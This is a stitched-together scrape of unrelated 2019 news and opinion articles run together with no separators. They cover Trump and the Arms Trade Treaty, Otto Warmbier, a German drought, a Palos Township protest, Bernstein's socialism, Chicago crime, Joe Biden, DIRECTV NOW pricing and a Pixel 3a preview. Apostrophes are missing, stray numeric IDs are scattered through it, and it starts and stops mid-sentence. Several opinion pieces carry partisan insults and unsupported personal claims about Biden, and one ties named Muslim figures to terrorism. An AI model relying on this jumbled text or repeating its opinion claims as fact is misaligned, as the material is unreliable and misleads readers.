Rukban residents were organising their own transportation to the edge of a de-escalation zone established around Al-Tanf, from where they either continued in their vehicles or were transferred by private or government-provided vehicles to four collective shelters in Homs city. The Syrian government and Russia said in February they had opened corridors out of the camp, calling on residents to leave. The best bang for your buck! This option enables you to purchase online 24/7 access and receive the Sunday, Tuesday & Thursday print edition at no additional cost * Print edition only available in our carrier delivery area. Allow up to 72 hours for delivery of your print edition to begin. Print edition not available for Day Pass option. Trump tells gun lobby he intends to revoke status of US as a signatory of the treaty, which wasnt ratified by Senate. US President Donald Trump announced on Friday at the National Rifle Associations (NRA) annual meeting that the United States will drop out of an international arms treaty signed in 2013 by then-President Barack Obama but opposed by the NRA and other conservative groups. Trump told members of the gun lobby that he intends to revoke the status of the US as a signatory of the Arms Trade Treaty, which was never ratified by the US Senate. Were taking our signature back, Trump said to thousands of cheering attendees, many wearing red hats emblazoned with the Republican presidents Make America Great Again slogan. The NRA has long opposed the treaty which regulates the $70bn business in conventional arms and seeks to keep weapons out of the hands of human rights abusers. The lobbying group argues it would undermine domestic gun rights, a view the Obama administration rejected. Trump added that the United Nations will soon receive formal notice of the withdrawal. The 193-nation UN General Assembly overwhelmingly approved the treaty in April 2013 and the US, the worlds top arms exporter, voted in favour of it despite fierce opposition from the NRA. Re-open the floodgates Trumps action drew an immediate rebuke from some international human rights groups. The United States will now lock arms with Iran, North Korea and Syria as non-signatories to this historic treaty whose sole purpose is to protect innocent people from deadly weapons, said Oxfam America President Abby Maxman. Adotei Akwei, of Amnesty International USA, said in a statement, With this announcement the Trump administration will re-open the floodgates for arms sales with weakened human rights criteria. So far, 101 countries have formally joined onto the treaty. Another 29, including the US, have signed it, but not yet formally joined. 190201174508052 Trump was joined on his trip to Indianapolis by White House National Security Adviser John Bolton, an advocate of withdrawing the US from international treaties out of concern they might undermine US authority. With Fridays announcement, Trump continued his drive to roll back Obama-era initiatives. Nearly two years ago, Trump announced that the US would withdraw from the Paris Climate Agreement, which aims to reduce global carbon emissions that scientists link to harmful climate change. Republicans argue the US economy would suffer if it met the deals carbon-reduction goals. He has also pulled the US out of the landmark 2015 Iran nuclear deal. Public sentiment shifts Trumps announcement on Friday came as he vowed to fight for gun rights, saying Second Amendment is under assault, but not while were here. And in a pre-emptive attack against his 2020 Democratic challengers, Trump claimed without evidence that the other party wants to take away your guns. 151017114945727 An emboldened NRA had high hopes and ambitious plans for easing state and national gun regulations after pouring tens of millions of dollars into the 2016 presidential race, seeing its dark horse candidate win and Republicans in control of both branches of Congress. But much of the legislation the group championed has stalled, due, in part, to a series of mass shootings, including the massacre at a Parkland, Florida, high school that left 17 dead and launched a youth movement against gun violence that has had a powerful impact. And Democrats won control of the House in the midterms. At the same time, the group is grappling with infighting, bleeding money and facing a series of investigations into its operating practices. The NRA, said Adam Winkler, a UCLA law professor and expert on gun policy, has dramatically changed its messaging over the last two years, with its NRATV service advocating a panoply of far-right political views that have turned off some members. At the same time, public sentiment has shifted. A March AP-NORC poll found that 67 percent of Americans overall think gun laws should be made stricter up from 61 percent in October 2017. And a June 2018 Gallup poll found overall favourable opinions of the NRA down slightly from October 2015, from 58 percent to 53 percent. Unfavourable views have grown from 35 percent to 42 percent. 190213205836489 Against that backdrop, Democratic politicians have become more comfortable assailing and even actively running against the NRA and pledging action to curb gun violence. And gun control groups like Everytown, which is largely financed by former New York City Mayor Michael Bloomberg, and a political action committee formed by Gabby Giffords, the former Arizona congresswoman wounded in a shooting, have become better organised and more visible, especially at the state level. That reversal was made clear during the 2018 midterm elections, when those groups vastly outspent the NRA. Winkler said that the group had scored some victories under Trump, including the appointment of two Supreme Court justices who may be open to striking down gun laws. But overall, he said, On the legislative front, the NRA has been frustrated, with priorities like national reciprocity for concealed carry laws and a repeal of the ban on silencers stalled. Instead, Trump introduced a new federal regulation: a ban on bump stocks after a man using the device opened fire on a crowd of concertgoers on the Las Vegas strip, killing 58 people and wounding hundreds. Trump says the US did not pay $2m to North Korea to get American college student Otto Warmbier released from detention. US President Donald Trump on Friday said the United States did not pay any money to North Korea as it sought the release of Otto Warmbier, a day after a report said Trump had approved a two-million-dollar bill from Pyongyang for the American students care. No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else, Trump wrote in a tweet. The Washington Post reported on Thursday that Trump had approved payment of two million dollars to Pyongyang to cover its care of the comatose college student, who was held in a North Korean prison for 17 months until June 2017. The Treasury Department received the bill from North Korea and it remained unpaid through 2017, the Post reported. It was not clear whether the administration paid the invoice later. Trumps tweet did not address whether any agreement had been made, and representatives for the White House and the State Department did not immediately respond to requests for comment from Reuters. Warmbier, a University of Virginia student from Ohio visiting North Korea as a tourist, was imprisoned in January 2016. 190301170417154 He was sentenced to 15 years of hard labour for allegedly trying to steal an item with a propaganda slogan from his hotel, North Korean state media said. Doctors said he suffered severe brain damage while in North Korean detention, fell into a coma and died days after arriving back in the US. North Korea, which has dismissed claims that it tortured the student, blamed food poisoning and a sleeping pill. Warmbiers parents have said North Korean leader Kim Jong Un and his evil regime are responsible for their sons death. Last December, a US court ordered North Korea to pay $501m in damages for the torture and death of Warmbier. Hostage negotiations In his tweet on Friday morning, Trump defended his handling of hostage negotiations and slammed efforts by his Democratic predecessor Barack Obama. He noted that the Obama administration had swapped five Taliban prisoners to secure the release of Bowe Bergdahl, a US Army sergeant who has since been dishonourably discharged. Trump also accused Obama officials of paying ransom money in exchange for the return of four detained Americans in 2016, a charge the Obama administration has denied. The Obama administration had said the payment of $400m to Iran settled a long-standing Iranian claim at The Hague that coincided with four detained Americans return but was not a ransom. 181225003924301 Obama had also defended the deal that led to Bergdahls release and later changed the way the US government handles cases in which Americans are detained by armed groups following a six-month review of the issue. A spokeswoman for Obamas office had no immediate comment on Trumps tweet. Warm spell not necessarily the forerunner of another hot summer but crops are already suffering. The temperature on Thursday in Berlin was recorded at 26 degrees Celsius. That is 11C above average and about 5C below the record. This is reminiscent of the spring of 2018 which led to a record-breaking hot summer and autumn in much of central Europe. According to phys.org, the four-month period from April to July 2018 was the warmest in Germany since the beginning of weather recording. As a consequence, by August, about 90 percent of the German territory was suffering a drought. Germanys DWD weather service says that soil moisture deficits lingering since Europes 2018 drought have not been relieved by winter rainfall. DWD agricultural meteorologist Udo Busch stated that conditions after the winter in many regions of Germany were significantly worse in 2019 compared to the previous year. German winters are supposed to be wet, but not this one. While the Black Forest in southern Germany may have had a good dose of rain and snow, this has not been so for most of the country. Berlin should expect about 330mm of rain between September and now; it has recorded 233mm 70 percent of the average. Farmers in Brandenburg, the state that encircles Berlin, are already worried about their harvests. Were hoping ardently for rain; the deciding month for us, is May, said regional farmers federation spokesman Tino Erstling. As temperatures rose rapidly in central Europe for this Easter weekend, the weather may have seemed like an enjoyable early start to summer, but unlike this time last year, the weather pattern is not static. Over the next few days at least, Germany will feel rain and a significant drop in temperature, as will most other central European countries, which is how spring should be. A group of protestors have targeted a Palos Township Trustee for over two years, seeking to have the elected official fired for remarks made on social media almost four years ago. Palos Township Trustee Sharon Brannigan made comments on her personal Facebook page in January 2015 about "Middle Easterners failing to assimilate, concerns that many Americans share, but described in terms some found offensive. Brannigan posted on her Facebook page: In the 3rd district here in Illinois, our demographics include 25% Muslims of which very few integrate within the communities keeping themselves and their activities hidden from the general population. Everywhere you turn, from Orland Park to Bridgeview, those numbers are increasing in leaps and bounds. We are allowing these people whether they have peaceful intentions or not into our country without question, she added. It is true that Muslims and Arabs in America may face racism, but its also true the southern suburb of Chicago dubbed Little Palestine, is home to mostly Palestinian-Jordanian immigrants who are exposed to Islamist leaders peddling anti-Semitism, anti-Israeli and anti-Western sentiments that hamper assimilation. Bridgeview, Illinois, (15 miles south west of Chicago), is home to the largest mosque in the state; the Mosque Foundation, led by Sheikh Jamal Said, a Palestinian immigrant, whom investigators have said was tied to Hamas, according to Matt Levitts HAMAS: Politics Charity and Terrorism in Service of Jihad. Said was named as an unindicted co-conspirator in the Holy Land Foundation (HLF) trial. HLF and five of its leaders were convicted of providing funds to HAMAS. The second largest mosque, in Orland Park, Illinois (26 miles south west of Chicago), Orland Park Prayer Center (OPPC) is led by Saids former assistant Sheikh Kifah Mustapha; another HLF unindicted co-conspirator with a history of anti-Semitism. In addition, last January, OPPC hired an assistant imam, Haitham Zamara, who appears cut from the same cloth as Said and Mustapha. Brannigan issued a strongly worded and sincere apology to the Muslim and Arab community in September 2017, to no avail. Since July 2017, protesters have crowded meetings of the Palos Township Board; screaming, yelling, and making threats, demanding that Brannigan resign. They are led by a group called Take On Hate (TOH). TOH was officially launched in 2014, in Detroit, Michigan, and claims that it is a multi-year, grassroots campaign that challenges the growing discrimination and persistent misconception of Arab and Muslim Americans..." TOH was formed by the National Network of Arab American Communities (NNAC), a coalition which consists of membership organizations from around the country. NNACs Bridgeview IL affiliate, the Arab American Family Services was founded by a former Mosque Foundation board member in 2001. NNAAC itself is an institution of ACCESS, the Arab Community Center for Economic and Social Services (ACCESS), founded in Detroit. While TOH mission statement claim that the organization inspires a positive perception of Arab and Muslim Americans () and opposes and stands against all forms of hate and bigotry toward any group of people, it invokes one of the icons of Palestinian terrorism in the 20th century on its Facebook page -- Rasmea Odeh. In 1970, Odeh was convicted of two bombings in Jerusalem, including one that killed two young men at a supermarket. She was sentenced to life in prison but was released in 1979 as part of a prisoner swap between Israel and the Popular Front for the Liberation of Palestine. With family in Michigan, she applied for a U.S. visa in 1994, but didn't disclose her criminal record. Convicted in a U.S. Federal court for lying about her terrorist past, Odeh was deported in August, 2017. Until her deportation, Odeh served as Associate Director of the Arab American Action Network (AAAN) a Chicago-based activist group which is also a member of NNAAC. While at AAAN, Rasmea worked with Take On Hates Chicago organizer Bassem Kawar, one of the leading organizers of the Anti-Brannigan protests. TOHs other Chicago Organizer Husam Marajda, a regular fixture at the Anti-Brannigan protests, described Odeh as having paved the way for him in his activism in a 2017 social media post. TOH has been inciting protestors to the limit, seeking to bully Brannigan and disrupting normal township business for more than two years over social media posts about assimilating immigrants made over four years ago. Thats their view of Taking on hate. But when it comes to real hate, the kind that leads to terrorism and murder, TOH advocates for justice for Odeh; an unrepentant convicted terrorist they portray as a hero of liberation. Hesham Shehab is the Chicago Area Associate of the Counter-Islamist Grid (CIG). This article concerns a particular flavor of socialism that is the most relevant to our time. Especially intriguing, this revision of Marxism was undertaken by a direct disciple of the founders of Marxism: Engels's personal friend and a prominent theoretician of German social democracy, Edward Bernstein. He originated the current of socialism called Evolutionary Socialism. Several important points must first be made. When scientists present their completed theory for the judgment of peers and the broader scientific community, this theory begins to live its own life, separate from the author. Colleagues analyze the doctrine at face value, regardless of subjective opinions and author intent. Sometimes, the theory leads to results utterly overlooked and unexpected by the author himself. Take, for example, the concept of general relativity by Albert Einstein. Some solutions from Einstein's equations were so radical to him that he initially refused to accept them (Alexander Friedmann's solution for the non-static universe, Schwarzschild's solution for black holes). Nevertheless, those solutions, found by peers, happened to be correct and advance knowledge about nature. Marx presented the theory of the historical development of human society called the materialist conception of history, or historical materialism. It is a theory of evolution characterized by a progressive exacerbation of the contradictions between the development of production relations and the development of productive forces. The conflict is supposed to be resolved by violent revolution, as a result of which harmony between production relations and productive forces is restored. The theory describes the progression of socio-economic formations beginning from primitive societies to capitalism. The doctrine also extrapolates that capitalism will be inevitably superseded by communism. Marx habitually overused the term "revolution" as the only way toward conflict resolution. Even though history knows cases of violent armed upheavals when the mode of production changes, there are, nevertheless, numerous examples of more or less peaceful conflict resolutions between opposing sides. Marx certainly meant a violent uprising as the true way to resolve a conflict between classes. However, the Marxian theory, taken by itself without regard to the opinion and preferences of its author, does not provide rigorous evidence that violent revolution is the sole mode of conflict resolution. Therefore, it is correct to understand the Marxian notion of revolution simply as a qualitative change in the socioeconomic order. Bernstein realized this and became even more convinced of the flaws of the doctrine when, at the turn of the 20th century, Marxism had entered a period of severe theoretical and empirical crisis. On the academic front, the prominent economists of the time, representing the Austrian economic school, had pointed at serious contradictions in Marxian economic theory. Thus, Bohm von Bawerk repudiated the fundamental provisions of Marxian economics in his dedicated work Karl Marx and the Close of His System. It was shown that commodities were not exchanged in proportion to the amount of labor incorporated in them, as Marx thought. This fact alone invalidated Marxian "laws of value and surplus value," which meant that subsequent theoretical implications had been gravely jeopardized as well. Furthermore, countries of liberal democracy had not been developing according to the Marxian doctrine, either. The Marxian dichotomous model of modern capitalist society, consisting of just two opposing classes proletariat and bourgeoisie did not correspond to reality. Marx overlooked the growth trend of the middle class, which has become the dominant stratum of society in industrialized countries. Besides, the division of the nation on classes corresponding to the factors of production makes sense only in the Marxist framework and has no value outside the theory. Bernstein pointed out that the modern capitalist society was continually improving the well-being of populations, and as a result, the class struggle would assume diminished importance. He criticized Marx's argument regarding concentration and centralization of production and wealth, stating that small and medium-sized businesses are not disappearing, but rather flourishing along with large industries. Bernstein appreciated the emergence of joint stock companies, which made possible the diffusion of capital ownership among the more considerable strata of the population. He argued that the quantitative and qualitative characteristics of the proletariat changed and did not correspond to the picture Marx observed in the middle of the 19th century in Europe. Given the growing prosperity and diminishing of class antagonism of the modern capitalist economy, Bernstein inferred that the role of the democratic state and ethical factors, rather than class struggle, would be moving forces toward socialism. He recognized the role of democracy in capitalistic societies and was convinced that social democracy is an indispensable instrument by which society will gradually transition to the higher social order. He was convinced that elements of the social superstructure (state, culture, ethics, art, etc.) were significant forces that influence an economic basis and together work out a resulting vector of the historical process. Bernstein theorized that ethical changes in the whole society should accompany the emancipation of the proletariat. Bernstein envisioned that evolution in societal ethics would develop conditions in which it would be morally inappropriate for entrepreneurs to continue unjust exploitation of the proletariat. On the contrary, capitalists would be praised and cherished if they share their wealth with toilers in an adequate manner i.e., satisfying all parties involved in the production. Socialism would be brought about by the majority of people of goodwill who adopt socially oriented laws. Marxism is an erroneous but remarkably harmonious and complete logical system. There is a close connection among all the constituent parts of its theoretical structure, which is an organic whole, in which each separate section assumes the rest and flows from them. It was a closed system of thought, not designed to be reformed. Bernstein's reformism has changed Marxism beyond recognition. He took out the heart and soul of Marxism and did not leave anything valuable from it but a name. Bernstein rooted out the essential elements of the Marxist materialist conception of history and political economy. Given this, it is tough to acknowledge social democracy as a genuine Marxist movement. Bernstein's revisionism was not taken easily by his colleagues and companions within the German Social Democratic Party and socialists abroad. Contradictions with orthodox Marxism were vivid and irreconcilable, which resulted in the prolonged intellectual Bernstein-Kautsky debates, which took place from after Engels's death in 1895 until 1905 and were observed with undying interest by a vast audience of European socialists. Formally, Bernstein lost a battle because the leaders of the German Social-Democratic party, Bebel and Liebknecht, chose Kautsky's position. Bernstein miraculously escaped expulsion from the party despite many calls for it. However, in reality, he was a winner in a broader sense, after all, as the majority of the Western European socialist parties accepted his doctrine of "reformism" in their practice. They accepted the situation in which capitalism would run for a long time and that the best thing to do is to cooperate and peacefully debate issues in the democratic parliament and find every opportunity to inject a dose of socialism into the body of capitalism. Bernstein's evolutionary socialism is still a main principle and integral part of modern social democracy. Some big thinkers dare to dream that digital innovations will produce ideal political transformations. In particular, many of our smartest people think participatory democracy will emerge only via the internet. The basic idea is that people will get their information from the internet, discuss issues on the internet, form political alliances on the internet, and finally vote, all while sitting in front of a computer. Is this a feasible future? WIRED published a huge report on digital developments in Italy: an internet group called Five Star joined with a conservative populist group called Legga and snagged 43% of the vote in 2017 elections. Almost nobody saw this coming. In his 2001 book entitled The Web is Dead, Long Live the Web, Gianroberto Casaleggio rhapsodized about how technology would force governments to become completely transparent and accountable to the will of the people. "Referenda on topics of national importance will become as routine as reading the papers on the evening news," he predicted. "The interactive leader will then be the new politician, someone who continually transforms the wishes of public opinion into reality." The wishes of public opinion? But will these wishes be smart wishes? And wouldn't such a leader have his own wishes? Electronic democracy or internet democracy will supposedly incorporate 21st-century information technology and thereby enable true democracy. We can look forward to a form of government in which all adult citizens participate equally in the proposal, development, and creation of laws. Really? Pundits are excited about the lack of centralized control; this makes censorship difficult and reduces the power of the media. (Most modern democracies are representative democracy but not direct democracy. It's assumed that a direct democracy is superior, and the internet can make this possible.) The visions discussed in WIRED concede that human nature and traditional politics might always be hard to contain. But the visionaries think the internet will inevitably be an invincible force for democracy. Alas, there is a more immediate problem, somehow unmentioned in WIRED's cavernous article. All of these visionaries, from Italy to Silicon Valley, assume that everybody is as well educated and well intentioned as they are themselves. Is that the least bit reasonable? The big problem is that schools and media stopped fulfilling their responsibility, in Thomas Jefferson's words, "to educate and inform the whole mass of the people." Schools aren't teaching many facts; most media don't objectively report facts. Can we now expect a vast ignoranti to govern itself? People by the millions may chat on Facebook, but do they know what World War II was? What lessons have they learned from the rise and fall of Hitler, Stalin, Mussolini, Mao, and Pol Pot? Can people have big thoughts if they don't know the small facts about history, geography, science, and politics? Arguably, the American public has descended to a depth of ignorance that is genuinely frightening. Sure, the internet can bring everybody together at the digital table. But what will everybody talk about? What will they have in common beyond each day's ephemera? Some digital pundits are dreaming seductive dreams. But the intellectual landscape shifts under them. The premise seems to be that voters will somehow be smarter and wiser than ever before. Perhaps that train has already left the station. Today, students learn little. As they become adults, their brains fill with swill from agitprop operations calling themselves media. Ignorance squared. Here's the big question: how do we prevent digital breakthroughs from being just another chapter in social engineering that leads to dictatorship? American visionaries should oppose the dangerous ignorance now settling over the country. WIRED especially should confront that ignorance. Thomas Jefferson, with no technology beyond a quill pen, was wonderfully foresightful about the dynamic we face: "If a nation expects to be ignorant and free ... it expects what never was and never will be." Jefferson declared: "Where the press is free, and every man able to read, all is safe." If not, then not. Two centuries ago, Jefferson said it best: "The issue today is the same as it has been throughout all history, whether man shall be allowed to govern himself or be ruled by a small elite." The digital visionaries see a truly free society, at long last. Do realists perceive a largely ignorant society waiting to be enslaved? It's hard to see how all this plays out happily as long as our education and media establishments disdain their mission to inform the public honestly and objectively. Probably the only remedy is that Americans try to compensate for deficiencies our schools and media are now seeking to make universal, except for that small elite. Bruce Deitrick Price's new book is Saving K-12: What happened to our public schools? How do we fix them? He deconstructs educational theories and methods on Improve-Education.org. A remedy to the wave of lawlessness overwhelming Chicago is suggested by the story told to police there by a victim of an attempted carjacking. Assuming that the story checks out, Illinois ought to consider easing its draconian gun control laws to permit more concealed carry permits to be issued and thereby deter crime. From the Chicago Tribune A man with a concealed carry permit told police he shot and killed another man who ran into the back of his BMW in the Loop and then demanded the keys to the car at gunpoint early Friday, authorities said. The owner of the 2015 BMW said his car was rear-ended by a Volkswagen at Ida B. Wells Drive and State Street around 4:30 a.m. The man said he got out to look at the damage and then went back to the BMW to get his cell phone. The driver of the Volkswagen walked up with a gun and demanded the keys, pushing the other man into the BMW, police said. Both were inside the BMW when the owner grabbed his own gun and shot the other man, 22, in the head. I know this neighborhood well, and it is in the heart of the Loop, the kind of area where a strong police presence would ordinarily be expected, and which should be considered relatively safe for driving a nice car. Image credit: Google maps. But of course, with the eroding of civil order in Chicago, it isn't. The consequences of Cook County state's attorney Kim Foxx letting off Jussie Smollett with no guilty plea and almost no real punishment are playing out, as everyone charged for making a false police report in Cook County now will demand similar treatment. It so well justified that even judges are complaining. Consider what happened yesterday in the courtroom, where Candace Clark was on trial. Fox32 Chicago reports: 21-year-old Candace Clark of Hoffman Estates says she's the victim of a Kim Foxx double standard, and a Cook County Judge agrees. On April 11, Clark appeared in the Rolling Meadows courtroom of Cook County Judge Marc Martin, facing a single felony count of making a false police report. Candace Clark (photo credit: Fox32 Chicago). Clark is accused of giving an acquaintance access to her bank account and then telling police money had been stolen, something she denies. According to a transcript obtained by FOX 32, Judge Martin hammered prosecutors, asking, "I'd like to know why Ms. Clark is being treated differently than Jussie Smollett. It's a disorderly conduct case. A lot less egregious than Mr. Smollett's case. I have a problem with it." Prosecutors were demanding that Clark make full restitution of $2,800 and serve deferred prosecution, something not required of Smollett. "Ms. Clark is not a movie star, she doesn't have a high-priced lawyer," said Judge Martin. "And this smells big time. Your office created this mess." Indeed, they did. Hat tip: Peter von Buol. Joe Biden just announced for president with the best campaign ad that his politically driven scientific polling could devise. The opening round of his campaign video features a shot of the famous Marine flag rising on Mount Suribachi during the Battle of Iwo Jima. Welcome to my world, Joe. His ad allows me to personally comment, or, as they say, he opened the door on himself. I am named after my only uncle, just turning 18, who was killed during the Battle of Iwo Jima. As an Annapolis graduate and serving Marine officer during Vietnam and also flying high-performance jets, the Phantom F-4, one gets use to the split-second tragedy of a violent death while serving in the military. The aftermath of one's dying on active duty during World War II was the arrival of the worst Western Union telegram a family could ever receive. That is what occurred to my family in March 1945. Many years later, I asked my mother what occurred on that fateful day in 1945, when her family was notified that her only brother, Edward, was KIA on Iwo. She said that in her shock and grief, a friend suggested going to the movies. She agreed, not actually caring what movie was currently playing. They went to see The Picture of Dorian Gray. The plot of that movie, taken from an Oscar Wilde almost banned book, is as follows: "A corrupt young man somehow keeps his youthful beauty, but a special painting gradually reveals his inner ugliness to all." So if Joe Biden wants to embrace my family's sacrifice for his political purposes, I can first thank him for honoring the Marine Corps but then call him out as a symbolic Dorian Gray. In the movie, Gray asks to keep visually young by invoking the power of an Egyptian cat statue. Joe Biden simply wrote checks to plastic surgeons and hair restoration specialists. Setting aside his attempt at keeping youthful looks, the real portrait of Joe Biden has most definitely not shown a life's journey earning him the privilege to serve as president and commander in chief. In fact, his life journey would eliminate him from even becoming an officer, since he is a plagiarist. That fact alone would have had him "found on honor" and dismissed from any of our service academies. Another disqualification is that Joe has little humility: it was obvious he never served, because he lectures in public on how smart he is. An unwritten rule of military service is humility, never assuming you are the smartest person in the room. This is another round of aging on Joe's portrait. The next round of qualifications for Joe is his personal leadership ability. His son Hunter was kicked out of the Navy for cocaine use. The official said Biden failed the test in 2013, but he was not kicked out until Feb. 14 of this year (2014). Senior U.S. officials told NBC News that Biden, 44, tested positive for cocaine. Biden was commissioned in the Navy Reserves in 2012 as an Ensign and was pursuing a public affairs track. He had to get a waiver because of his age at the time of his commissioning. A central point of Dorian Gray was how badly Gray treated women. On that count, Joe is truly creepy. This is not a Republican or Democrat point; it is simply a point about the honor and respect men should have for women. On this point alone, Joe's hidden portrait must now be truly grotesque. Let us give Oscar Wilde the final word that perfectly summarizes the political career of Joe Biden: "Nowadays people know the price of everything and the value of nothing." Joe Biden joined 19 other Democrat presidential candidates who appear to be serving as crash dummies until Michelle Obama as America's sixth most popular and second most famous public figure jumps in. Former vice president Joe Biden's campaign launch was supposed to provide a left-of-center alternative to blunt Republican President Donald Trump's dominance in the key Midwest working-class electoral issues of national sovereignty and economic nationalism. "Good Old Joe" expected to launch his campaign three weeks ago, following a Washington, D.C. speech to the International Brotherhood of Election Workers union, where he promised to represent traditional liberal and moderate Democrats who want a president who can be bipartisan to get things done and will stand up to the politics that's "gotten so damn elitist." But "Crazy Joe" then swallowed his foot by trying to make a joke of his "personal connection" style that has included crossing physical boundaries with women, by claiming he had "permission" to hug the union leader who introduced him. Some males chuckled, but the line visibly angered activist women who see "Creepy Joe" as irredeemable. The YouGov website rated Biden as the 13th most popular and 18th most famous U.S. political public figure. Fans say he is likeable, genuine, and willing to stand up for ordinary people. He enjoys a 47-percent positive and 31-percent negative public opinion. Joe ranked 14th by women and 16th by men; 8th by Millennials,14th by Gen. X, and 22nd by Baby-Boomers. As a first stop after announcing his candidacy, "Crazy Joe" appeared at a $2,800-a-plate fundraiser at Comcast president David Cohen's Philadelphia mansion. The host committee member included Steven Cozen, who founded and is chairman of the union-busting law firm Cozen O'Connor that advertises how it helps employers: "regain nonunion status when employees indicate they no longer wish to be union-represented." Even if "Good Old Joe" gets past his fundraising hypocrisy and videos of "Creepy Joe" smelling women's hair and putting hands high around their waists, UVA electoral college expert Larry Sabato predicts: "It's easy to see how Trump can win reelection." Sabato points out that the last three modern Republican presidents, Richard M. Nixon, Ronald Reagan, and George W. Bush, were able to "capitalize" on the advantages of incumbency that include name recognition, inertia, continuity, control of the instruments of government, great fundraising opportunities, and a successful campaign experience. YouGov rates Trump as only the 32nd most popular public figure, with a 38-percent positive and a 52-percent negative public opinion. Trump is also ranked only 42nd by women and 24th by men, 57th by Millennials, 33rd by Gen. X, and 25th by Baby-Boomers. But Sabato warns that traditional polling completely missed the unconventional attractiveness of Donald Trump's 2016 "change" campaign. He expects that Trump's 2020 re-election campaign's "base-first strategy" will focus on pounding home to swing working-class voters how he has delivered America's best job gains and wage growth in 40 years. The Democratic Party presidential nomination process has been front-loaded in 2020, with California joining eight other states for a March 3 primary. "Super Tuesday" voting will encompass 28.75 percent of the U.S. population, including six of the 16 most populous states. The Democrats' most negative presidential nominating battles have usually come in June between the top two contestants, long after the marginal candidates have been driven off or run out of campaign funds. But all 20 candidates will have the motivation and the cash to soon go negative and will be savagely slashing at each other in early 2020. With the feeding frenzy expected to drive down all the Democrat hopefuls' positives by February, Michelle Obama will be perfectly positioned to sweep the nomination as the most popular and most famous Democrat, second only to her husband. Michelle Obama enjoys an almost identical 56 percent positive to just 31 percent negative public opinion as her husband. But in what could be transformative by uniting the traditional and social activist Democrat Party, Michelle Obama is the Millennials' 1st ranked public figure. In what is probably the least shocking news of the week, AT&Ts CEO, Randall Stephenson, explained the company is happy with the new $50 price point for DIRECTV NOW. Stephenson made the comments during the companys first-quarter earnings call (transcribed here) and pointed to how $50 is the right price for AT&T. With Stephenson adding, AT&T is seeing good uptake on the new platform, the new pricing. Advertisement AT&T announced the price increase back in March and it took effect almost immediately for new subscribers, with existing subscribers provided with a grace period up until April 12. The company opting to provide somewhat of an official comment on the support for the platform/pricing is interesting considering how recently the changes were made. Even more so considering DIRECTV NOW is not exactly in a state of growth at the moment. During the same quarterly announcement AT&T confirmed DIRECTV NOW had lost 83,000 subscribers in the last three months alone. Advertisement On its own, thats bad, but the picture becomes even worse when accounting for the three months before when DIRECTV NOW lost an additional 267,000 subscribers. With 350,000 subscribers gone in the last six months, it remains to be seen what exactly AT&T or Stephenson defines as a good uptake. It would seem Stephenson is arguing that in the limited time since the price increase came in, the service has seen a good number (by AT&Ts definition) of new customers signing up for the service while ignoring how the number of people leaving the service during the same time has been far greater. Something thats unlikely to change anytime soon. Advertisement In fact, Stephenson hinted at the near-future outlook by stating you may still see the OTT product be negative in terms of subscribers, suggesting AT&T and DIRECTV NOW are already bracing for another subscriber decline in the next quarter, if not the quarter after that. In spite of the good uptake the reason Stephenson attributed to the likelihood of the upcoming negative subscribers will be the price increases. It is worth noting that even the suggestion the service is getting a good return on new subscribers is up for debate. Due to the nature of the industry, new subscribers will most likely have switched to DIRECTV NOW from a competing service or from one of the traditional linear options, including AT&T own DIRECTV satellite service. Advertisement For reference, DIRECTV lost 544,000 subscribers during the same period when DIRECTV NOW lost the 83,000. If even a small percentage of those existing satellite customers switched to the NOW version of the service then it might give the impression DIRECTV NOW is healthier than it is when viewed separate from the wider DIRECTV ecosystem. This is also without taking into account the spike in activity currently expected due to the release of the final season of Game of Thrones. Advertisement When AT&T announced the new plans (and higher pricing) it also cut down on the number of channels provided and looked to offset the fallout from this double-hit by including HBO for free in with its DIRECTV NOW plans. Essentially, discounting the price that many would have to pay each month by $15 during what is arguably one of the networks busiest times of the year. Adding to the complication of predicting the near or long-term success of the price change, and in spite of just upping the price, DIRECTV NOW is currently offering new subscribers the option to sign up for just $30 per month. Advertisement At $15 more than the cost of HBO alone, it stands to reason the last few weeks would have seen gains in subscribers. But these are short-term gains as the discounted price is only good for the first three months. By which point Game of Thrones will have also ended its run and HBO will likely see a drop in those temporary viewers. The question is whether those subscribers will remain with DIRECTV NOW when their price moves back to the standard $50 (minimum) per month. If not, then a portion of those currently referred to as the good uptake will be added to the ever-growing DIRECTV NOW exodus. Editors note: this preview will be regularly updated with new credible information on the Pixel 3a and Pixel 3a XL as they become available all the way up to the actual launch of the two Android handsets. The last update was made on May 2nd. Some aficionados of the worlds most popular mobile operating system have been clamoring for a mid-range Pixel smartphone or two ever since Google confirmed the Nexus product family is being discontinued following the 2016 debut of its original Made-by-Google handsets. Nearly three years later, the firm appears to have revised its stance on non-flagship devices and is now planning to begin competing in the upper segment of the mid-range bracket, according to various accounts. However, is it too late for Google to enter this extremely competitive price bracket? Advertisement Similar and familiar While the Pixel 3a range will definitely provide a more affordable alternative to the Pixel 3 and Pixel 3 XL, it wont actually be (much) more compact as Lite-branded smartphones often are. Instead, the 3a and 3a XL are expected to deliver 5.6- and 6-inch screens, respectively. Both should support FHD+ resolutions 2220 x 1080 and 2160 x 1080, with the former supposedly being the limit of the smaller Pixel 3a which is hence believed to be using an 18.5:9 aspect ratio. The handsets should do away with notches and cant really go wrong in this department after all, its hard to imagine a cutout thats worse than the abomination mounted on top of the Pixel 3 XL. Advertisement A render obtained by Android Headlines earlier this month (shown above) delivered the first clear look at the two devices, in addition to suggesting the duo will be available in black. Subsequent leaks indicated Google is also working on at least two more color options, one of which is purple-ish, whereas the other one is essentially the Lime variant that debuted with the Pixel 3 family last fall, but with an orange accent on the power button instead of a lime one. The most significant downgrade Google is said to be making with the Pixel 3a series comes on the processing front seeing how the new handsets will almost certainly be ditching the Snapdragon 800-series of chips in favor of 600- and 700-branded silicon from Qualcomm. Advertisement 4GB of RAM will still be part of the package, together with a 64GB storage space base, according to several previous leaks and benchmark sightings. The smaller Pixel 3a is expected to use a 3,000mAh battery, an incremental improvement over the 2,915mAh one used by its predecessor. Theres still no word on what the Pixel 3a XL will be drawing power from, though it likely wont stray too far away from the 3,430mAh cell used by Googles most powerful smartphone to date. While the very latest rumblings are pointing in the direction of the Snapdragon 710, previous insider claims suggested the Pixel 3a may even go the Snapdragon 670 route. A budget-friendly premium? Advertisement Seeing how Googles main goal with the Pixel 3a range is to deliver a high-end mobile experience on a budget, the company is also looking to port some of the more niche features from its last flagship range to the new devices, including the Active Edge one, at least when it comes to the Pixel 3a XL. The same is true in the camera department as the 12.2-megapixel imaging module found on the back of the last two flagships will also be used by the Pixel 3a and Pixel 3a XL, recent reports suggest. Thats essentially the largest selling point of the upcoming handsets a high-end camera experience capable of rivaling the very best performers on the market that 